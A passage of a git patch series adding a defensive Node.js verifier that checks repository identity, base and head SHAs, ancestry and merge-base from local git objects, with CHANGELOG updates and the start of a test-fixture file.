(value.includes('\n') || value.includes('\r') || value.includes('\0')) { + fail('git_execution_failed', path, `${path} produced extra git output.`); + } + if (pattern !== undefined && !pattern.test(value)) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + return value; +} + +function parseObservedSha(text, path) { + const value = oneLine(text, path); + if (!isSha40(value)) { + fail('git_execution_failed', path, `${path} did not resolve to an exact commit SHA.`); + } + return value; +} + +function assertBaseRefName(value, path) { + if (typeof value !== 'string') { + fail('invalid_type', path, `${path} must be a git branch ref string.`); + } + if (capturedUtf8ByteLength(value) > MAX_BASE_REF_BYTES) { + fail('out_of_range', path, `${path} exceeds the base-ref byte cap.`); + } + if (value.includes('\0') || value.includes('\n') || value.includes('\r') + || value.startsWith('-') || value.includes('..') || value.includes('@{') + || value.includes('\\') || value.includes('//') || value.endsWith('.lock') + || value.endsWith('.') || value.includes('~') || value.includes('^') + || value.includes(':') || value.includes('?') || value.includes('*') + || value.includes('[') || value.includes(' ') || value.includes('@') + || value === 'HEAD' || value === 'refs/heads/HEAD') { + fail('hostile_name_denied', path, `${path} is not an allowed base branch ref.`); + } + const segments = value.split('/'); + if (segments.length > MAX_BASE_REF_SEGMENTS) { + fail('out_of_range', path, `${path} exceeds the base-ref segment cap.`); + } + if (!PRIVATE_BASE_REF_PATTERN.test(value)) { + fail('hostile_name_denied', path, `${path} is not an allowed base branch ref.`); + } + return value; +} + +function parseRepository(input, path) { + const value = optOwn(input, 'repository'); + assertPlainObject(value, 'invalid_type', path, path); + assertDirectJsonClosure(value, path); + assertAllowedKeys(value, GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, path); + requiredKeys(value, GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, path); + const repositoryPath = optOwn(value, 'path'); + assertRepositoryPath(repositoryPath, `${path}.path`); + const baseSha = optOwn(value, 'base_sha'); + assertBaseSha(baseSha, `${path}.base_sha`); + return freezeRecord(GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, { + path: repositoryPath, base_sha: baseSha, + }); +} + +function assertSequence(value, path) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value)) { + fail('invalid_type', path, `${path} must be a safe integer sequence.`); + } + if (value < 0 || value > MAX_SEQUENCE - 1) { + fail('out_of_range', path, + `${path} must be an injected sequence in 0..${MAX_SEQUENCE - 1} so the paired head fact can bind.`); + } + return value; +} + +export function parseGitIdentityRequestV1(input, path = 'git_identity') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + assertDirectJsonClosure(input, path); + assertAllowedKeys(input, GIT_IDENTITY_REQUEST_ALLOWED_KEYS, path); + requiredKeys(input, GIT_IDENTITY_REQUEST_REQUIRED_KEYS, path); + const repository = parseRepository(input, `${path}.repository`); + const expectedBaseRef = assertBaseRefName( + optOwn(input, 'expected_base_ref'), `${path}.expected_base_ref`, + ); + const candidateHeadSha = optOwn(input, 'candidate_head_sha'); + assertBaseSha(candidateHeadSha, `${path}.candidate_head_sha`); + const runId = optOwn(input, 'run_id'); + assertRunId(runId, `${path}.run_id`); + const assignmentId = optOwn(input, 'assignment_id'); + if (!isAssignmentId(assignmentId)) { + fail('invalid_format', `${path}.assignment_id`, + `${path}.assignment_id violates the assignment-id grammar.`); + } + const sequence = assertSequence(optOwn(input, 'sequence'), `${path}.sequence`); + return freezeRecord(GIT_IDENTITY_REQUEST_ALLOWED_KEYS, { + repository, + expected_base_ref: expectedBaseRef, + candidate_head_sha: candidateHeadSha, + run_id: runId, + assignment_id: assignmentId, + sequence, + }); +} + +function parseOptions(options, path = 'options') { + if (options === undefined) { + return freezeRecord(GIT_IDENTITY_OPTIONS_ALLOWED_KEYS, { spawn: SPAWN }); + } + assertNotProxy(options, path); + assertPlainObject(options, 'invalid_type', path, path); + assertAllowedKeys(options, GIT_IDENTITY_OPTIONS_ALLOWED_KEYS, path); + let spawn = SPAWN; + if (hasOwn(options, 'spawn')) { + spawn = optOwn(options, 'spawn'); + if (typeof spawn !== 'function') { + fail('invalid_type', `${path}.spawn`, `${path}.spawn must be a spawn function.`); + } + assertNotProxy(spawn, `${path}.spawn`); + } + return freezeRecord(GIT_IDENTITY_OPTIONS_ALLOWED_KEYS, { spawn }); +} + +function createSession(spawnFn) { + return { + spawn: spawnFn, + commands: 0, + startedAt: Date.now(), + }; +} + +function assertSessionBounds(session, path) { + if (session.commands >= MAX_GIT_COMMANDS) { + fail('bounds_exceeded', path, `${path} exceeds the git command-count cap.`); + } + const elapsed = Date.now() - session.startedAt; + if (elapsed > MAX_GIT_TOTAL_TIME_MS) { + fail('bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`); + } +} + +function runGit(session, args, path) { + assertGitArgv(args, `${path}.args`); + assertSessionBounds(session, path); + session.commands += 1; + const argv = [GIT_EXECUTABLE, ...GIT_ISOLATION_FLAGS, ...args]; + assertGitArgv(argv, `${path}.argv`); + return new Promise((resolve, reject) => { + let child; + try { + child = session.spawn(GIT_EXECUTABLE, argv.slice(1), { + cwd: '/', + env: CLOSED_GIT_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + }); + } catch (error) { + reject(new RunContractV1Error( + 'git_execution_failed', path, `${path} could not start a git observation.`, + )); + return; + } + if (child === null || typeof child !== 'object') { + reject(new RunContractV1Error( + 'git_execution_failed', path, `${path} could not start a git observation.`, + )); + return; + } + assertClosedEnv(CLOSED_GIT_ENV, `${path}.env`); + const stdoutChunks = []; + const stderrChunks = []; + let stdoutBytes = 0; + let stderrBytes = 0; + let exceeded = false; + let settled = false; + const finish = (error, result) => { + if (settled) return; + settled = true; + clearTimeout(timer); + if (error) reject(error); + else resolve(result); + }; + const exceed = () => { + if (exceeded) return; + exceeded = true; + try { child.kill('SIGKILL'); } catch { /* already exited */ } + finish(new RunContractV1Error( + 'bounds_exceeded', path, `${path} exceeded a closed git output or time bound.`, + )); + }; + const timer = setTimeout(exceed, MAX_GIT_TIME_MS); + const onChunk = (target, getSize, setSize) => (chunk) => { + const next = getSize() + chunk.length; + setSize(next); + if (next > MAX_GIT_OUTPUT_BYTES) { + exceed(); + return; + } + REFLECT_APPLY(ARRAY_PUSH, target, [chunk]); + }; + child.stdout?.on('data', onChunk(stdoutChunks, () => stdoutBytes, (value) => { stdoutBytes = value; })); + child.stderr?.on('data', onChunk(stderrChunks, () => stderrBytes, (value) => { stderrBytes = value; })); + child.once('error', () => { + finish(new RunContractV1Error( + 'git_execution_failed', path, `${path} could not complete a git observation.`, + )); + }); + child.once('close', (code, signal) => { + if (exceeded) return; + const stdout = BUFFER_CONCAT(stdoutChunks).toString('utf8'); + const stderr = BUFFER_CONCAT(stderrChunks).toString('utf8'); + if (signal !== null && signal !== undefined) { + finish(new RunContractV1Error( + 'git_execution_failed', path, `${path} could not complete a git observation.`, + )); + return; + } + finish(null, { + exit_code: typeof code === 'number' ? code : 1, + stdout, + stderr, + }); + }); + }); +} + +async function gitLine(session, args, path, pattern) { + const result = await runGit(session, args, path); + if (result.exit_code !== 0) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + return oneLine(result.stdout, path, pattern); +} + +async function gitLines(session, args, path, count) { + const result = await runGit(session, args, path); + if (result.exit_code !== 0) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + let text = result.stdout; + if (text.endsWith('\n')) text = text.slice(0, -1); + if (text.includes('\0') || text.includes('\r')) { + fail('git_execution_failed', path, `${path} produced extra git output.`); + } + const lines = text.split('\n'); + if (lines.length !== count) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + return lines; +} + +async function gitMaybe(session, args, path) { + const result = await runGit(session, args, path); + return result; +} + +function cwdFlags(repositoryPath) { + return capturedFreeze(['-C', repositoryPath]); +} + +function repoFlags(repositoryPath, gitDir) { + return capturedFreeze(['-C', repositoryPath, '--git-dir', gitDir]); +} + +async function assertLocalRepository(session, repositoryPath, path) { + let metadata; + try { + metadata = await LSTAT(repositoryPath); + } catch { + fail('repository_missing', `${path}.repository.path`, + `${path}.repository.path does not identify an accessible directory.`); + } + if (typeof metadata?.isDirectory !== 'function' || !metadata.isDirectory() + || (typeof metadata.isSymbolicLink === 'function' && metadata.isSymbolicLink())) { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path must be a real directory, not a symlink or file.`); + } + let resolved; + try { + resolved = await REALPATH(repositoryPath); + } catch { + fail('repository_missing', `${path}.repository.path`, + `${path}.repository.path does not identify an accessible directory.`); + } + if (resolved !== repositoryPath || !PATH_IS_ABSOLUTE(resolved) || PATH_RESOLVE(resolved) !== resolved) { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path must be the real, absolute worktree root.`); + } + let identityLines; + try { + identityLines = await gitLines( + session, + [...cwdFlags(repositoryPath), 'rev-parse', '--path-format=absolute', + '--is-inside-work-tree', '--is-bare-repository', '--show-toplevel', '--absolute-git-dir'], + `${path}.repository`, + 4, + ); + } catch (error) { + if (error instanceof RunContractV1Error && error.code === 'git_execution_failed') { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path is not a git worktree root.`); + } + throw error; + } + const [inside, bare, toplevel, gitDir] = identityLines; + if (!PRIVATE_TRUE_FALSE_PATTERN.test(inside) || inside !== 'true') { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path is not a git worktree root.`); + } + if (!PRIVATE_TRUE_FALSE_PATTERN.test(bare) || bare !== 'false') { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path must not be a bare repository.`); + } + if (toplevel !== repositoryPath) { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path must equal the git worktree toplevel.`); + } + if (!PATH_IS_ABSOLUTE(gitDir) || PATH_RESOLVE(gitDir) !== gitDir || gitDir.includes('\0')) { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path did not yield an absolute git directory.`); + } + return gitDir; +} + +async function assertNoReplaceOrGrafts(session, flags, path) { + const replace = await gitMaybe( + session, + [...flags, 'for-each-ref', '--format=%(refname)', '--', 'refs/replace'], + `${path}.replace`, + ); + if (replace.exit_code !== 0) { + fail('replace_refs_denied', `${path}.replace`, + `${path} could not independently inspect replace refs.`); + } + const replaceText = replace.stdout.replace(/\n$/u, ''); + if (replaceText.length > 0) { + fail('replace_refs_denied', `${path}.replace`, + `${path} must not observe git replace refs.`); + } + const [graftsPath, shallowPath] = await gitLines( + session, + [...flags, 'rev-parse', '--path-format=absolute', + '--git-path', 'info/grafts', '--git-path', 'shallow'], + `${path}.grafts`, + 2, + ); + if (!PATH_IS_ABSOLUTE(graftsPath) || PATH_RESOLVE(graftsPath) !== graftsPath) { + fail('grafts_denied', `${path}.grafts`, `${path} produced a non-absolute grafts path.`); + } + if (!PATH_IS_ABSOLUTE(shallowPath) || PATH_RESOLVE(shallowPath) !== shallowPath) { + fail('rewritten_history', `${path}.shallow`, `${path} produced a non-absolute shallow path.`); + } + try { + await LSTAT(graftsPath); + fail('grafts_denied', `${path}.grafts`, `${path} must not observe git grafts.`); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + } + try { + await LSTAT(shallowPath); + fail('rewritten_history', `${path}.shallow`, + `${path} must not observe shallow history as a complete ancestry.`); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + } +} + +async function observeWorktreeHeadRef(session, flags, path) { + const result = await gitMaybe( + session, + [...flags, 'symbolic-ref', '--quiet', '--end-of-options', 'HEAD'], + `${path}.HEAD`, + ); + if (result.exit_code !== 0) { + fail('detached_ref_denied', `${path}.HEAD`, + `${path}.HEAD must be attached to a branch ref.`); + } + const headRef = oneLine(result.stdout, `${path}.HEAD`, PRIVATE_BASE_REF_PATTERN); + if (headRef === 'refs/heads/HEAD') { + fail('hostile_name_denied', `${path}.HEAD`, `${path}.HEAD is not an allowed branch ref.`); + } + return headRef; +} + +async function observeBaseRef(session, flags, expectedBaseRef, expectedBaseSha, path) { + const exists = await gitMaybe( + session, + [...flags, 'show-ref', '--verify', '--', expectedBaseRef], + `${path}.expected_base_ref`, + ); + if (exists.exit_code !== 0) { + fail('unborn_ref_denied', `${path}.expected_base_ref`, + `${path}.expected_base_ref does not name an existing commit.`); + } + const fullNameResult = await gitMaybe( + session, + [...flags, 'rev-parse', '--verify', '--symbolic-full-name', '--end-of-options', expectedBaseRef], + `${path}.expected_base_ref`, + ); + if (fullNameResult.exit_code !== 0) { + fail('unborn_ref_denied', `${path}.expected_base_ref`, + `${path}.expected_base_ref does not name an existing commit.`); + } + const fullName = oneLine( + fullNameResult.stdout, `${path}.expected_base_ref`, PRIVATE_BASE_REF_PATTERN, + ); + if (fullName !== expectedBaseRef) { + fail('symbolic_ref_drift', `${path}.expected_base_ref`, + `${path}.expected_base_ref resolved to a different ref name.`); + } + const asSymbolic = await gitMaybe( + session, + [...flags, 'symbolic-ref', '--quiet', '--end-of-options', expectedBaseRef], + `${path}.expected_base_ref`, + ); + if (asSymbolic.exit_code === 0) { + fail('symbolic_ref_drift', `${path}.expected_base_ref`, + `${path}.expected_base_ref must be a direct branch ref, not a symbolic ref.`); + } + const peeled = await gitMaybe( + session, + [...flags, 'rev-parse', '--verify', '--end-of-options', `${expectedBaseRef}^{commit}`], + `${path}.expected_base_ref`, + ); + if (peeled.exit_code !== 0) { + const unborn = await gitMaybe( + session, + [...flags, 'show-ref', '--verify', '--', expectedBaseRef], + `${path}.expected_base_ref`, + ); + if (unborn.exit_code !== 0) { + fail('unborn_ref_denied', `${path}.expected_base_ref`, + `${path}.expected_base_ref does not name an existing commit.`); + } + fail('non_commit_object', `${path}.expected_base_ref`, + `${path}.expected_base_ref does not peel to a commit.`); + } + const observedBaseSha = parseObservedSha(peeled.stdout, `${path}.expected_base_ref`); + const objectType = await gitLine( + session, + [...flags, 'cat-file', '-t', '--', observedBaseSha], + `${path}.expected_base_ref`, + PRIVATE_OBJECT_TYPE_PATTERN, + ); + if (objectType !== 'commit') { + fail('non_commit_object', `${path}.expected_base_ref`, + `${path}.expected_base_ref is not a commit object.`); + } + if (expectedBaseSha !== observedBaseSha) { + const expectedType = await gitMaybe( + session, + [...flags, 'cat-file', '-t', '--', expectedBaseSha], + `${path}.repository.base_sha`, + ); + if (expectedType.exit_code !== 0) { + fail('non_commit_object', `${path}.repository.base_sha`, + `${path}.repository.base_sha is not a readable git object.`); + } + const expectedObjectType = oneLine( + expectedType.stdout, `${path}.repository.base_sha`, PRIVATE_OBJECT_TYPE_PATTERN, + ); + if (expectedObjectType !== 'commit') { + fail('non_commit_object', `${path}.repository.base_sha`, + `${path}.repository.base_sha is not a commit object.`); + } + } + return { sha: observedBaseSha, object_type: objectType }; +} + +async function observeHeadSha(session, flags, candidateHeadSha, path) { + const typeResult = await gitMaybe( + session, + [...flags, 'cat-file', '-t', '--', candidateHeadSha], + `${path}.candidate_head_sha`, + ); + if (typeResult.exit_code !== 0) { + fail('unreachable_head', `${path}.candidate_head_sha`, + `${path}.candidate_head_sha is not a readable git object.`); + } + const objectType = oneLine( + typeResult.stdout, `${path}.candidate_head_sha`, PRIVATE_OBJECT_TYPE_PATTERN, + ); + if (objectType !== 'commit') { + fail('non_commit_object', `${path}.candidate_head_sha`, + `${path}.candidate_head_sha is not a commit object.`); + } + const peeled = await gitMaybe( + session, + [...flags, 'rev-parse', '--verify', '--end-of-options', `${candidateHeadSha}^{commit}`], + `${path}.candidate_head_sha`, + ); + if (peeled.exit_code !== 0) { + fail('non_commit_object', `${path}.candidate_head_sha`, + `${path}.candidate_head_sha does not peel to a commit.`); + } + const observedHeadSha = parseObservedSha(peeled.stdout, `${path}.candidate_head_sha`); + if (observedHeadSha !== candidateHeadSha) { + fail('ambiguous_ref_denied', `${path}.candidate_head_sha`, + `${path}.candidate_head_sha did not resolve to itself.`); + } + return { sha: observedHeadSha, object_type: objectType }; +} + +function durationOf(session) { + return MATH_MAX(0, MATH_FLOOR(Date.now() - session.startedAt)); +} + +function emitFact(kind, request, inputDigest, outputDigest, status, payload, durationMs) { + const boundedDuration = durationMs > MAX_DURATION_MS ? MAX_DURATION_MS : durationMs; + return parseVerifiedFactV1({ + fact_id: kind === 'git_identity' ? 'git-identity' : 'head-sha', + fact_kind: kind, + status, + code: 'host_observed', + run_id: request.run_id, + assignment_id: request.assignment_id, + sequence: kind === 'git_identity' ? request.sequence : request.sequence + 1, + subject: kind === 'git_identity' ? 'repository' : 'head', + authority: 'platform_git', + method: 'ancestry_check', + input_digest: inputDigest, + output_digest: outputDigest, + exit_code: null, + duration_ms: boundedDuration, + truncated: false, + payload, + artifact_digests: [], + }); +} + +function emitDiscrepancy(id, request, factIds, sequence) { + return parseEvidenceDiscrepancyV1({ + discrepancy_id: id, + discrepancy_kind: 'integrity', + status: 'recorded', + code: 'artifact_integrity_failure', + run_id: request.run_id, + assignment_id: request.assignment_id, + sequence, + claim_ids: [], + fact_ids: factIds, + artifact_digests: [], + }); +} + +export async function verifyGitIdentityV1(input, options) { + const request = parseGitIdentityRequestV1(input); + const parsedOptions = parseOptions(options); + const pathLabel = 'git_identity'; + const session = createSession(parsedOptions.spawn); + const repositoryPath = request.repository.path; + const gitDir = await assertLocalRepository(session, repositoryPath, pathLabel); + const flags = repoFlags(repositoryPath, gitDir); + await assertNoReplaceOrGrafts(session, flags, pathLabel); + const worktreeHeadRef = await observeWorktreeHeadRef(session, flags, pathLabel); + const base = await observeBaseRef( + session, flags, request.expected_base_ref, request.repository.base_sha, pathLabel, + ); + const head = await observeHeadSha( + session, flags, request.candidate_head_sha, pathLabel, + ); + const durationMs = durationOf(session); + const observation = freezeRecord(GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, { + repository_path: repositoryPath, + git_dir: gitDir, + base_ref: request.expected_base_ref, + base_sha: base.sha, + head_sha: head.sha, + base_object_type: base.object_type, + head_object_type: head.object_type, + worktree_head_ref: worktreeHeadRef, + duration_ms: durationMs, + }); + const inputDigest = digestCanonical({ + repository: request.repository, + expected_base_ref: request.expected_base_ref, + candidate_head_sha: request.candidate_head_sha, + }); + const outputDigest = digestCanonical(observation); + if (!PRIVATE_SHA256_PATTERN.test(inputDigest) || !PRIVATE_SHA256_PATTERN.test(outputDigest)) { + fail('git_execution_failed', pathLabel, `${pathLabel} could not bind observation digests.`); + } + const discrepancies = []; + const pushDiscrepancy = (id, factIds) => { + if (request.sequence + discrepancies.length > MAX_SEQUENCE) { + fail('out_of_range', `${pathLabel}.discrepancies`, + `${pathLabel}.discrepancies exceed the injected sequence bound.`); + } + REFLECT_APPLY(ARRAY_PUSH, discrepancies, [ + emitDiscrepancy(id, request, factIds, request.sequence + discrepancies.length), + ]); + }; + if (base.sha !== request.repository.base_sha) { + pushDiscrepancy('stale-base', ['git-identity']); + } + const verified = discrepancies.length === 0 + && base.sha === request.repository.base_sha + && head.sha === request.candidate_head_sha; + const status = verified ? 'verified' : 'failed'; + const facts = capturedFreeze([ + emitFact( + 'git_identity', request, inputDigest, outputDigest, status, + { base_sha: request.repository.base_sha, head_sha: request.candidate_head_sha }, + durationMs, + ), + emitFact( + 'head_sha', request, inputDigest, outputDigest, status, + { sha: request.candidate_head_sha }, + durationMs, + ), + ]); + return freezeRecord(GIT_IDENTITY_RESULT_ALLOWED_KEYS, { + schema: GIT_IDENTITY_SCHEMA_ID, + version: GIT_IDENTITY_VERSION, + status, + facts, + discrepancies: capturedFreeze(discrepancies), + observation, + }); +} + +OBJECT_FREEZE(GIT_IDENTITY_ERROR_CODES); From 66a14e3a19264101674eb9fe3688a4086dbf28bf Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 06:32:27 +0000 Subject: [PATCH 53/81] feat(verify): validate ancestry and merge base Independently compute reachability, merge-base identity, and stale versus rewritten history from local Git objects. Bind ancestor and merge-base observations into P13 git_identity and head_sha facts plus integrity discrepancies without trusting provider claims. --- CHANGELOG.md | 28 +++---- .../codex-co-engineer/mcp/v3/git-identity.mjs | 77 +++++++++++++++++-- 2 files changed, 84 insertions(+), 21 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d7c2798..84ec7f9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,21 +4,23 @@ ### Added -- **GitIdentityV1 independent repository base-branch and head verifier.** - Adds an additive v3 `git-identity.mjs` module for W13-P14. It derives - Git facts from the local repository through argv execution +- **GitIdentityV1 independent repository, ancestry, and merge-base + verifier.** Adds an additive v3 `git-identity.mjs` module for W13-P14. + It derives Git facts from the local repository through argv execution (`/usr/bin/git`, no shell) and never from provider claims, then binds repository identity, expected base ref/name, exact base SHA, candidate - head SHA, and object types into P13 `VerifiedFactV1` snapshots - (`git_identity` and `head_sha` with `platform_git` / `ancestry_check`). - Observation uses a closed environment that cannot inherit `GIT_*`, - replace, graft, or config influence; output, time, and command counts - are bounded; typed errors never echo hostile bytes. It rejects - missing/wrong repos, symbolic-ref drift, detached/unborn/ambiguous - refs, non-commit objects, replace refs, grafts, hostile names, extra - keys, proxies/accessors, and bounds abuse. It does not own P15 - scope/read-only/merge-commit checks, P16A trusted command policy, P28 - Git mutation, or provider/workspace dispatch. + head SHA, object types, reachability, ancestry, merge-base identity, + and rewritten/stale history into P13 `VerifiedFactV1` / + `EvidenceDiscrepancyV1` snapshots (`git_identity` and `head_sha` with + `platform_git` / `ancestry_check`). Observation uses a closed + environment that cannot inherit `GIT_*`, replace, graft, or config + influence; output, time, and command counts are bounded; typed errors + never echo hostile bytes. It rejects missing/wrong repos, symbolic-ref + drift, detached/unborn/ambiguous refs, non-commit objects, replace + refs, grafts, hostile names, extra keys, proxies/accessors, and bounds + abuse. It does not own P15 scope/read-only/merge-commit checks, P16A + trusted command policy, P28 Git mutation, or provider/workspace + dispatch. - **ArtifactRefV1 and the strict relative artifact path policy.** Adds two additive, pure v3 modules for W3-P07. `artifact-path.mjs` owns one deterministic fail-closed question - is this string a strict portable diff --git a/plugins/codex-co-engineer/mcp/v3/git-identity.mjs b/plugins/codex-co-engineer/mcp/v3/git-identity.mjs index aca4e31..df6ce02 100644 --- a/plugins/codex-co-engineer/mcp/v3/git-identity.mjs +++ b/plugins/codex-co-engineer/mcp/v3/git-identity.mjs @@ -6,9 +6,10 @@ // Additive v3 module for W13-P14. It observes Git from the local repository // through argv execution and never from provider claims. It binds repository // path identity, expected base ref/name, exact base SHA, candidate head SHA, -// and object types into P13 VerifiedFactV1 / EvidenceDiscrepancyV1 snapshots. -// It does not own P15 scope/read-only/merge-commit checks, P16A trusted -// command policy, P28 Git mutation, or provider/workspace dispatch. +// object types, reachability, ancestry, merge-base identity, and +// rewritten/stale history into P13 VerifiedFactV1 / EvidenceDiscrepancyV1 +// snapshots. It does not own P15 scope/read-only/merge-commit checks, P16A +// trusted command policy, P28 Git mutation, or provider/workspace dispatch. // // Observation is fail-closed: spawn is argv-only (no shell), the child // environment is a closed map that cannot inherit GIT_* / config / replace / @@ -75,7 +76,8 @@ export const GIT_IDENTITY_RESULT_ALLOWED_KEYS = capturedFreeze([ ]); export const GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS = capturedFreeze([ 'repository_path', 'git_dir', 'base_ref', 'base_sha', 'head_sha', - 'base_object_type', 'head_object_type', 'worktree_head_ref', 'duration_ms', + 'merge_base_sha', 'base_object_type', 'head_object_type', + 'worktree_head_ref', 'ancestor', 'duration_ms', ]); export const GIT_IDENTITY_OPTIONS_ALLOWED_KEYS = capturedFreeze(['spawn']); export const GIT_IDENTITY_STATUSES = capturedFreeze(['failed', 'verified']); @@ -722,6 +724,57 @@ async function observeHeadSha(session, flags, candidateHeadSha, path) { return { sha: observedHeadSha, object_type: objectType }; } +async function observeAncestry(session, flags, expectedBaseSha, observedBaseSha, headSha, path) { + const ancestorResult = await gitMaybe( + session, + [...flags, 'merge-base', '--is-ancestor', '--', expectedBaseSha, headSha], + `${path}.ancestry`, + ); + if (ancestorResult.exit_code !== 0 && ancestorResult.exit_code !== 1) { + fail('git_execution_failed', `${path}.ancestry`, + `${path}.ancestry could not complete a merge-base ancestor check.`); + } + const ancestor = ancestorResult.exit_code === 0; + const mergeBaseResult = await gitMaybe( + session, + [...flags, 'merge-base', '--all', '--', expectedBaseSha, headSha], + `${path}.merge_base`, + ); + let mergeBaseSha = ''; + if (mergeBaseResult.exit_code === 0) { + const lines = mergeBaseResult.stdout.endsWith('\n') + ? mergeBaseResult.stdout.slice(0, -1).split('\n') + : mergeBaseResult.stdout.split('\n'); + if (lines.length !== 1 || !isSha40(lines[0])) { + mergeBaseSha = ''; + } else { + mergeBaseSha = lines[0]; + } + } + const baseMoved = observedBaseSha !== expectedBaseSha; + let staleBase = false; + let rewrittenBase = false; + if (baseMoved) { + const expectedStillAncestor = await gitMaybe( + session, + [...flags, 'merge-base', '--is-ancestor', '--', expectedBaseSha, observedBaseSha], + `${path}.stale_base`, + ); + if (expectedStillAncestor.exit_code === 0) staleBase = true; + else rewrittenBase = true; + } + const wrongMergeBase = !isSha40(mergeBaseSha) || mergeBaseSha !== expectedBaseSha; + const unreachableHead = ancestor !== true; + return { + ancestor, + merge_base_sha: isSha40(mergeBaseSha) ? mergeBaseSha : '', + stale_base: staleBase, + rewritten_base: rewrittenBase, + wrong_merge_base: wrongMergeBase, + unreachable_head: unreachableHead, + }; +} + function durationOf(session) { return MATH_MAX(0, MATH_FLOOR(Date.now() - session.startedAt)); } @@ -780,6 +833,9 @@ export async function verifyGitIdentityV1(input, options) { const head = await observeHeadSha( session, flags, request.candidate_head_sha, pathLabel, ); + const ancestry = await observeAncestry( + session, flags, request.repository.base_sha, base.sha, head.sha, pathLabel, + ); const durationMs = durationOf(session); const observation = freezeRecord(GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, { repository_path: repositoryPath, @@ -787,9 +843,11 @@ export async function verifyGitIdentityV1(input, options) { base_ref: request.expected_base_ref, base_sha: base.sha, head_sha: head.sha, + merge_base_sha: ancestry.merge_base_sha, base_object_type: base.object_type, head_object_type: head.object_type, worktree_head_ref: worktreeHeadRef, + ancestor: ancestry.ancestor, duration_ms: durationMs, }); const inputDigest = digestCanonical({ @@ -811,12 +869,15 @@ export async function verifyGitIdentityV1(input, options) { emitDiscrepancy(id, request, factIds, request.sequence + discrepancies.length), ]); }; - if (base.sha !== request.repository.base_sha) { - pushDiscrepancy('stale-base', ['git-identity']); - } + if (ancestry.stale_base) pushDiscrepancy('stale-base', ['git-identity']); + if (ancestry.rewritten_base) pushDiscrepancy('rewritten-history', ['git-identity', 'head-sha']); + if (ancestry.unreachable_head) pushDiscrepancy('unreachable-head', ['head-sha']); + if (ancestry.wrong_merge_base) pushDiscrepancy('wrong-merge-base', ['git-identity', 'head-sha']); const verified = discrepancies.length === 0 && base.sha === request.repository.base_sha - && head.sha === request.candidate_head_sha; + && head.sha === request.candidate_head_sha + && ancestry.ancestor === true + && ancestry.merge_base_sha === request.repository.base_sha; const status = verified ? 'verified' : 'failed'; const facts = capturedFreeze([ emitFact( From ded99cb21beede0579030cceb10358d7f9c996f0 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 06:32:50 +0000 Subject: [PATCH 54/81] test(verify): add forged stale and rewritten history fixtures Add disposable repositories and focused/adversarial tests for forged replace/graft influence, stale and rewritten bases, unreachable heads, wrong merge bases, detached/unborn/non-commit refs, closed argv execution, bounds abuse, and concurrent independent observation. --- CHANGELOG.md | 4 +- .../fixtures/r1-git-identity-fixtures.mjs | 269 ++++++++++++++++++ .../test/r1-git-identity-adversarial.test.mjs | 189 ++++++++++++ .../test/r1-git-identity.test.mjs | 250 ++++++++++++++++ 4 files changed, 711 insertions(+), 1 deletion(-) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-git-identity.test.mjs diff --git a/CHANGELOG.md b/CHANGELOG.md index 84ec7f9..f7f6d5e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -20,7 +20,9 @@ refs, grafts, hostile names, extra keys, proxies/accessors, and bounds abuse. It does not own P15 scope/read-only/merge-commit checks, P16A trusted command policy, P28 Git mutation, or provider/workspace - dispatch. + dispatch. Coverage lives in `r1-git-identity` and + `r1-git-identity-adversarial` tests plus disposable forged/stale/ + rewritten fixtures. - **ArtifactRefV1 and the strict relative artifact path policy.** Adds two additive, pure v3 modules for W3-P07. `artifact-path.mjs` owns one deterministic fail-closed question - is this string a strict portable diff --git a/plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs new file mode 100644 index 0000000..1a9e9b7 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-git-identity-fixtures.mjs @@ -0,0 +1,269 @@ +// Disposable repository fixtures for W13-P14 Git identity and ancestry +// verification. Construction uses argv git only; the product verifier is +// never imported here so forged histories stay parent-failing until the +// verifier module exists. + +import { spawn } from 'node:child_process'; +import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +export const RUN_ID = 'run-git-identity-01'; +export const ASSIGNMENT_ID = 'lane-verify'; +export const BASE_REF = 'refs/heads/main'; + +const GIT = '/usr/bin/git'; +const FIXTURE_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_AUTHOR_NAME: 'P14 Fixture', + GIT_AUTHOR_EMAIL: 'p14@example.test', + GIT_COMMITTER_NAME: 'P14 Fixture', + GIT_COMMITTER_EMAIL: 'p14@example.test', + GIT_AUTHOR_DATE: 